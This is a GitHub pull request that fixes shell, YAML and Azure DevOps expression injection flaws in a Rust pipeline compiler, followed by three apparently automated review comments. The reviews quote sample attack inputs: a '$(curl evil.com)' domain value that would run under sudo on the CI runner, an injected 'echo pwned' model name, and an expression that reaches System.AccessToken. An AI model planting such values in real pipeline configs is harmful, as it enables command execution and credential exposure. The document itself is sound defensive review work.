fix: address injection vulnerabilities from red team audit

[jamesadevine]

Summary

Addresses injection vulnerabilities identified by the red team security audit in #171. Fixes findings 1–4 and 6 (finding 5 accepted as risk per triage).

Changes

Finding 1 (High): Shell injection via engine.model

• Validate model name against [A-Za-z0-9._:-]+ in generate_copilot_params()
• Also validate tools.bash entries reject single quotes (same attack surface — values embedded inside single-quoted AWF bash command)
• Function now returns Result<String> to propagate validation errors

Finding 2 (Medium): ADO expression injection via name/description

• New validate_front_matter_identity() function rejects ${{ and $( in name/description
• Also rejects newlines to prevent YAML structure injection
• Called in both standalone and 1ES compilers

Finding 3 (Medium): YAML single-quote injection in trigger config

• Escape single quotes by doubling them ('') per YAML spec in generate_pipeline_resources()
• Applies to pipeline.name, pipeline.project, and branch names

Finding 4 (Medium): AWF argument injection via network.allow

• Quote {{ allowed_domains }} substitution in templates/base.yml (both occurrences)

Finding 6 (Low): network.blocked docs clarification

• Updated AGENTS.md and README.md to clarify that network.blocked does exact-match removal from the allow list — wildcard patterns like *.example.com are not affected by blocking a specific subdomain

Testing

Added 9 new test cases covering:

• Model name validation (rejects single quotes, spaces; allows valid names)
• Bash command validation (rejects single quotes)
• Front matter identity validation (rejects ADO expressions, macros, newlines; allows valid values)
• Pipeline resource YAML quote escaping

All existing + new tests pass.

Closes #171
Closes #177
Closes #178

[github-actions]

🔍 Rust PR Review

Summary: Good security fixes that close the high/medium findings — two gaps worth addressing before merge.

Findings

🐛 Bugs / Logic Issues

• src/compile/common.rs:~173 — validate_front_matter_identity only checks ${{ and $(, but Azure DevOps has a third runtime expression syntax: $[variables.foo]. All three are expanded by the ADO runtime in display name and similar string fields. A name like $[variables['System.AccessToken']] passes validation today. Suggest adding || value.contains("$[") to the check.

⚠️ Suggestions

• src/compile/standalone.rs:289 — generate_allowed_domains has no sanitization on user-supplied domain values: The shell quoting fix in base.yml ("{{ allowed_domains }}") guards against whitespace splitting, but generate_allowed_domains inserts network.allow values verbatim. A domain containing " (e.g. foo.com"--flag) would break the double-quoted string and re-introduce argument injection. DNS names cannot contain " per RFC 952/1123, but there's no compile-time guard enforcing that. A one-liner validation like rejecting any domain containing " or ` in generate_allowed_domains (or at parse time) would close this properly.

• src/compile/common.rs:~147,standalone.rs:146 — validate_front_matter_identity is called after all template markers have already been substituted. If validation fails the ? correctly aborts and no output is returned, so this is not a security issue — but it is a code-smell: validating inputs before they're used is easier to reason about. Consider moving the identity validation to just before (or inside) the early compile setup block.

✅ What Looks Good

• Model name validation uses an allowlist (is_ascii_alphanumeric() || matches!(c, '.' | '_' | ':' | '-')), which is the right approach — denylist approaches always miss edge cases.
• YAML single-quote escaping using replace('\'', "''") is the correct YAML spec mechanism; applied to source, project, and all branch names consistently.
• resource_id is safe — it's derived from the pipeline name by lowercasing and replacing every non-alphanumeric char with _, so there's no injection risk at the pipeline: key.
• Both compiler paths (standalone.rs and onees.rs) now call validate_front_matter_identity and use the Result-returning generate_copilot_params.
• Test coverage is solid: allowlist + denylist cases for model names, bash commands, identity fields, and YAML escaping. The test payload choices ("model' && echo pwned", "cat'") make the attack scenario clear.

Generated by Rust PR Reviewer for issue #175 · ● 548.5K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Good direction, but Finding 4's fix is incomplete — $ is missing from the domain name filter, leaving a command-injection path open in the generated bash script.

---

Findings

🐛 Bugs / Logic Issues

• src/compile/standalone.rs:345 — $ not rejected in network.allow domains (Finding 4 is not fully fixed)

  The template fix wraps {{ allowed_domains }} in double quotes (base.yml:313, 498), but bash double-quoted strings still expand $(...) and ${...}. The new filter rejects ", backtick, and \, but not $. A user who adds $(curl evil.com) to network.allow will pass the filter and generate:

  sudo -E ".../awf" \
    --allow-domains "github.com,$(curl evil.com),other.com" \

  That command substitution executes on the runner (with sudo -E). The same risk applies to the unquoted echo on line 301. $ is not a valid DNS character; the filter should either reject it explicitly or — better — validate against a strict DNS allowlist ([A-Za-z0-9.*-] to allow wildcards like *.example.com):

  let valid_dns_chars = host.chars().all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '-' | '*'));
  if !valid_dns_chars {
      anyhow::bail!("network.allow domain '{}' contains characters invalid in DNS names ...", host);
  }

  Recommend changing this to a hard error rather than warn-and-skip too — silently dropping user-specified domains while compilation succeeds could mask misconfiguration and is harder to debug.

• src/compile/common.rs:469-478 — empty model name passes validation

  chars().all(...) returns true for an empty iterator, so EngineConfig::Simple("") produces --model (trailing space, no value). Should add !model.is_empty() to the guard. Low-severity since a blank model string is unlikely in practice, but easy to close.

✅ What Looks Good

• Model name validation (allowlist of [A-Za-z0-9._:-]) is the right approach — strict allowlist beats denylist.
• Single-quote escaping in generate_pipeline_resources (replace('\'', "''")) is correct per YAML spec and applied consistently to name, project, and branch names.
• validate_front_matter_identity correctly catches all three ADO expression types (${{, $(, $[) and newline injection in name/description. The $[ addition to reject_ado_expressions is a good catch too.
• generate_copilot_params returning Result<String> and call sites updated with ? is clean.
• Test coverage is solid and names are descriptive.

Generated by Rust PR Reviewer for issue #175 · ● 765K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Solid security fixes — logic is correct and the defense-in-depth approach is sound. One testing gap and a couple of minor suggestions worth addressing.

Findings

🐛 Bugs / Logic Issues

• src/compile/common.rs – branch name escaping is untested: generate_pipeline_resources now wraps branch names in single quotes and escapes embedded ' characters (the branch.replace('\'', "''") change at the loop on ~L308), but test_pipeline_resources_escapes_single_quotes only asserts on source: and project:. A branch value like release/it's-ready would produce - 'release/it''s-ready' — the runtime behavior is correct but there's no regression test. Worth adding:

  branches: vec!["it's-branch".to_string()],
  // assert!(result.contains("- 'it''s-branch'"));

⚠️ Suggestions

• src/compile/common.rs:validate_front_matter_identity – doesn't cover trigger.pipeline.* fields: The single-quote escaping fix (Finding 3) protects against YAML structural injection in source:, project:, and branch entries, but a \n in those fields would still produce multi-line YAML single-quoted scalars (YAML spec allows it; they fold to a space but can be confusing / break display names). validate_front_matter_identity is a natural home for this check if the threat model is ever revisited. Low priority given these are operator-controlled values.

• src/compile/standalone.rs:generate_allowed_domains – wildcard position not constrained: The DNS validation allows * anywhere (ex*ample.com, *.*.com), not just as a leading prefix. AWF presumably handles wildcard matching how it sees fit, but tightening to host.starts_with("*.") || !host.contains('*') would match the documented intent ("*.mycompany.com") and avoid surprising behaviour if a user types example.*. Not a security issue given * can't break shell quoting here.

✅ What Looks Good

• Finding 1 model-name validation is tight — the charset [A-Za-z0-9._:-] is correct for real model identifiers and the validation fires before any string formatting happens.
• $[ runtime-expression detection added consistently to both reject_ado_expressions and the new validate_front_matter_identity — good catch; ADO evaluates $[...] at queue time.
• Defense-in-depth on allowed_domains: the DNS character validation and the double-quote wrapper in base.yml both independently prevent $(...) expansion even if one layer were bypassed. Correct layering.
• generate_copilot_params → Result<String>: the signature change propagates cleanly; all call sites updated, all tests switched to .unwrap() with no silent swallowing.
• Test coverage for the new validation functions is comprehensive (9 cases covering happy-path and each rejection rule).

Generated by Rust PR Reviewer for issue #175 · ● 630K · ◷